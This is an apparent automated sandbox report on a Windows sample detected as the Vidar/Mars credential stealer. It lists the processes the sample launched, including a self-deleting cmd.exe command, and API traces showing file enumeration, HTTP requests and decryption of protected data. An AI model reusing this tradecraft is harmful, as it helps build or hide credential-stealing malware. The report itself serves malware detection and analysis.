Aug 24, 2024 12:22:00.912019014 CEST	312	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:22:00 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	06:21:53
Start date:	24/08/2024
Path:	C:\Users\user\Desktop\IrAr85Qv7X.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IrAr85Qv7X.exe"
Imagebase:	0x400000
File size:	110'080 bytes
MD5 hash:	52E9F55D274E2EE01959FE2D8297A927
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_ArkeiStealer_84c7086a, Description: unknown, Source: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000000.00000002.1720693274.000000000072E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:22:00
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\IrAr85Qv7X.exe" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:22:00
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:22:00
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0x7ff7699e0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	48.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	108
Total number of Limit Nodes:	10

Executed Functions

Function 00408920 Relevance: 45.9, APIs: 22, Strings: 4, Instructions: 394
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00408939
FindFirstFileA.KERNEL32(?,?), ref: 00408950
StrCmpCA.SHLWAPI(?,00414010), ref: 00408976
StrCmpCA.SHLWAPI(?,00414014), ref: 0040898C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408DC2
FindClose.KERNEL32(000000FF), ref: 00408DD7

Strings

%s\*, xrefs: 0040892D
Network, xrefs: 004089D3
%s\%s\%s\%s, xrefs: 004089E3
%s\%s, xrefs: 004089A6

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s\%s\%s$%s\*$Network
API String ID: 180737720-3203448731
Opcode ID: b66e412c41de65039fca4b0823f9f6f29a3a1fdf13d67999e964ced5294d757c
Instruction ID: 0afc8dedf4382b90de9e81d0051a9e705df5370ba1504ad14b1f5c1eb5465e4e
Opcode Fuzzy Hash: b66e412c41de65039fca4b0823f9f6f29a3a1fdf13d67999e964ced5294d757c
Instruction Fuzzy Hash: 7FE142B2500109ABCB14DF94DD85EEB73BDBF8C704F04865DB609A3140EA39EA95CFA5

Function 00406D50 Relevance: 43.8, APIs: 29, Instructions: 277
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406D7D
LoadLibraryA.KERNEL32(0073AFF0), ref: 00406DEA

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 95cd1e38752683a700a09a06881c4abe263167948859991d77e1124419e48a94
Instruction ID: 0ff97769c73b16c2272decdd88bcab4472715788f0676e030f843d39b22b5c89
Opcode Fuzzy Hash: 95cd1e38752683a700a09a06881c4abe263167948859991d77e1124419e48a94
Instruction Fuzzy Hash: 6BC161B1912318ABDB54DFA0DD48FDA77B9EB48700F1085A8F209A72D0C774AAD1CF59

Function 0040C4D0 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 110
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00732AE8), ref: 0040C522
GetProcAddress.KERNEL32(74DD0000,0072FAC0), ref: 0040C53A
GetProcAddress.KERNEL32(74DD0000,0072AEB0), ref: 0040C552
GetProcAddress.KERNEL32(74DD0000,00732BC0), ref: 0040C56B
GetProcAddress.KERNEL32(74DD0000,00732CB0), ref: 0040C583
GetProcAddress.KERNEL32(74DD0000,00732C38), ref: 0040C59B
GetProcAddress.KERNEL32(74DD0000,00732BD8), ref: 0040C5B4
GetProcAddress.KERNEL32(74DD0000,00732B30), ref: 0040C5CC
GetProcAddress.KERNEL32(74DD0000,0072AC30), ref: 0040C5E4
GetProcAddress.KERNEL32(74DD0000,0072ACD0), ref: 0040C5FD
GetProcAddress.KERNEL32(74DD0000,0072AD90), ref: 0040C615
LoadLibraryA.KERNEL32(00732B48,?,00406CD2), ref: 0040C627
LoadLibraryA.KERNEL32(00732BF0,?,00406CD2), ref: 0040C638
GetProcAddress.KERNEL32(75A70000,00732C80), ref: 0040C65A
GetProcAddress.KERNEL32(75450000,0072ACF0), ref: 0040C67B

Strings

,s, xrefs: 0040C4FA
8,s, xrefs: 0040C58E
,s, xrefs: 0040C4E0
*s, xrefs: 0040C514
0+s, xrefs: 0040C5BF
H+s, xrefs: 0040C620

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: ,s$0+s$8,s$H+s$*s$,s
API String ID: 2238633743-818067396
Opcode ID: 17b2d70414a4efdeadfea8580404a0e43dec6c234348272d7c41b2aeae6b0564
Instruction ID: 60e5e86da36253e9604f730ab0f0f8fe5fd9fad0aa347490b3232d0c9b8b64c6
Opcode Fuzzy Hash: 17b2d70414a4efdeadfea8580404a0e43dec6c234348272d7c41b2aeae6b0564
Instruction Fuzzy Hash: 954142B56132009FC744DFA8EE88AA63BF9BB8C351705C939F509C7662D7389464CB1E

Function 004052D0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004052FD
StrCmpCA.SHLWAPI(00000000,https://), ref: 00405323
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040535D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405383
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 004053A8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 004053E3
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0040540A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405457
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405473
StrCmpCA.SHLWAPI(?,200), ref: 00405489
Sleep.KERNEL32(00007530), ref: 004054A4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004054CC
lstrcat.KERNEL32(?,00000000), ref: 00405508
InternetCloseHandle.WININET(00000000), ref: 00405514
InternetCloseHandle.WININET(00000000), ref: 00405521
InternetCloseHandle.WININET(00000000), ref: 0040552E

Part of subcall function 00404960: memset.MSVCRT ref: 00404982
Part of subcall function 00404960: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 004049AE
Part of subcall function 00404960: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 004049D6

Strings

https://, xrefs: 0040531A
200, xrefs: 0040547D

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: 4563890b83de306c4319a74dfbfbec33b3fae4b5bd82aca9576d0ab6b6b18f82
Instruction ID: edf12940620239b8531f8c9592ea19591be4febbf37c63759a870d9228517eeb
Opcode Fuzzy Hash: 4563890b83de306c4319a74dfbfbec33b3fae4b5bd82aca9576d0ab6b6b18f82
Instruction Fuzzy Hash: A2612D71A41319ABDB24DF50CC49FDA77B4EB44705F1084AAB209BA1C0C7B86AC4CF59

Function 00401280 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\*, xrefs: 0040128D
%s\%s, xrefs: 00401306, 00401357

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: d35edac016138e32296ea7c26d0b681b815b88aee4d12a6c08cd949698736c99
Instruction ID: 10ef354ad2eaa44bfa6117fb0d287dcaf0a5bb1e6888212fcade5afa6eea8883
Opcode Fuzzy Hash: d35edac016138e32296ea7c26d0b681b815b88aee4d12a6c08cd949698736c99
Instruction Fuzzy Hash: 5C519972500218ABCB10DFA0DD49EEA777DFF48701F0485A9B609A3150E779EB94CF69

Function 00401090 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: 65b79e9637cec597f6132ad867d3ea0caf33ac682abfeb47ba3e8b5a096d292f
Instruction ID: 9e708a2c2c8c9df69f2045fd8ae1fcdaacacec9e8e0aee4b664e8a25b6e66940
Opcode Fuzzy Hash: 65b79e9637cec597f6132ad867d3ea0caf33ac682abfeb47ba3e8b5a096d292f
Instruction Fuzzy Hash: 263175B6500318ABCB14DFE0DD88EEA777DBF48701F0485AAB609A2150DB789B94CF59

Function 004098D0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004098E9
FindFirstFileA.KERNEL32(?,?), ref: 00409900
StrCmpCA.SHLWAPI(?,00414010), ref: 00409926
StrCmpCA.SHLWAPI(?,00414014), ref: 0040993C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409B3A
FindClose.KERNEL32(000000FF), ref: 00409B4F

Strings

%s\*, xrefs: 004098DD
%s\%s, xrefs: 00409956

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 4bb38fd39166e77b51c7fd84e46c30be4b64431e2b6be254e96ad9f51dc9dc2f
Instruction ID: acfd0f312d600870faf9f312c4f9ca4051831a15c87bcf8d9ee51cef430358df
Opcode Fuzzy Hash: 4bb38fd39166e77b51c7fd84e46c30be4b64431e2b6be254e96ad9f51dc9dc2f
Instruction Fuzzy Hash: B481FFB2500109ABCB14DF95DC84EEB73BDBB8C704F04859DB609A3251E638EE55CFA5

Function 00409D30 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409D49
FindFirstFileA.KERNEL32(?,?), ref: 00409D60
StrCmpCA.SHLWAPI(?,00414010), ref: 00409D86
StrCmpCA.SHLWAPI(?,00414014), ref: 00409D9C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409F88
FindClose.KERNEL32(000000FF), ref: 00409F9D

Strings

%s\*.*, xrefs: 00409D3D

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: d9af8d99c41388cc1a29a9d86c359d6cde668b0097c21161aac966d862c6604d
Instruction ID: ea22ded0088a85d6f5438574adf52929fced9323b8b35e034537b8fdb6fb60f4
Opcode Fuzzy Hash: d9af8d99c41388cc1a29a9d86c359d6cde668b0097c21161aac966d862c6604d
Instruction Fuzzy Hash: 896156B2900108ABC714EFA4DC85EDB737CBF48700F0485A9B61993191E775EA98CFA9

Function 00407A40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0073C3D8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00407A6E
lstrcat.KERNEL32(?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 00407A9D
lstrcat.KERNEL32(?,00419320), ref: 00407AAF
lstrcat.KERNEL32(?,00000000), ref: 00407AC0
SetEnvironmentVariableA.KERNEL32(0073C3D8,?), ref: 00407AD4
LoadLibraryA.KERNEL32(007399D0), ref: 00407AF2
GetProcAddress.KERNEL32(6CC60000,0073B860), ref: 00407B17
GetProcAddress.KERNEL32(6CC60000,0073B878), ref: 00407B30
GetProcAddress.KERNEL32(6CC60000,0073BFC0), ref: 00407B48
GetProcAddress.KERNEL32(6CC60000,0073B290), ref: 00407B60
GetProcAddress.KERNEL32(6CC60000,0073BFE0), ref: 00407B79
GetProcAddress.KERNEL32(6CC60000,0073B4E8), ref: 00407B91

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00407A63, 00407A77, 00407A91

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 570708976-3463377506
Opcode ID: 8cfdd60e073a5564feb1c9100bfe2da1f0b51f67a70705ccda5b314df4a36c52
Instruction ID: 72a50205348d8acea1ecc4be8059c9faf56dff2e006599b00b6794dd1a6d7452
Opcode Fuzzy Hash: 8cfdd60e073a5564feb1c9100bfe2da1f0b51f67a70705ccda5b314df4a36c52
Instruction Fuzzy Hash: FB414FB1502204DBD714EF68ED48AEA37F9F708304F08C979F109926A1D778A9A5CF5E

Function 0040AFF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040B000
RtlAllocateHeap.NTDLL(00000000), ref: 0040B007
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040B028
LocalAlloc.KERNEL32(00000040,?), ref: 0040B040
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040B054
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040B0A9
wsprintfA.USER32 ref: 0040B0D2
wsprintfA.USER32 ref: 0040B0F0
memset.NTDLL ref: 0040B116
LocalFree.KERNEL32(00000000), ref: 0040B12B

Strings

%s / %s, xrefs: 0040B0C6

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 70d51e007cff7b4d19107229a7a077a0ebeb7555370cd979e6acdca1a6154f21
Instruction ID: d1a8fbd12c21f0ff0e0ef3a8e0880423f6f5d4a82a843a5e64715424c7f1fe5c
Opcode Fuzzy Hash: 70d51e007cff7b4d19107229a7a077a0ebeb7555370cd979e6acdca1a6154f21
Instruction Fuzzy Hash: 7D316BB098121CEBDB60DF54CD8DBE9B7B4EB48300F1081E5E519A6291C7785E90CF9A

Function 0040AF30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF40
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF47
GetTimeZoneInformation.KERNEL32(?), ref: 0040AF5A
wsprintfA.USER32 ref: 0040AF94

Strings

UTC%d, xrefs: 0040AF88

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: 7d5bbbd612032375b4e79e3451e1b0fc6f913335c1a2478bf5dbd389f37094ed
Instruction ID: e275133d394be87dc040eca6e972d3f9556dbe19acf721bbe9cd39a1effaca79
Opcode Fuzzy Hash: 7d5bbbd612032375b4e79e3451e1b0fc6f913335c1a2478bf5dbd389f37094ed
Instruction Fuzzy Hash: 91F090B0E053189BDB609B64DD49BE9737AAB08301F0042E5FA09A32D1DB785E94CF4B

Function 00407650 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407674
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407693
LocalFree.KERNEL32(?), ref: 004076BF

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 36a038339c0fb4fd4184901ce48d827f0b7def8567832e23043a7d51728715fc
Instruction ID: b7ac7f429f38f17d1e313cbc0b6c82ea8ce967b3f90282425cc9523c40ba90fe
Opcode Fuzzy Hash: 36a038339c0fb4fd4184901ce48d827f0b7def8567832e23043a7d51728715fc
Instruction Fuzzy Hash: 3D11BAB4A00209DFCB04DF98C985AAE77B5FF49300F108569E915A7390D734AD50CBA5

Function 0040AE40 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00405AF9), ref: 0040AE4D
RtlAllocateHeap.NTDLL(00000000,?,00405AF9), ref: 0040AE54
GetComputerNameA.KERNEL32(00405AF9,00000104), ref: 0040AE6C

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
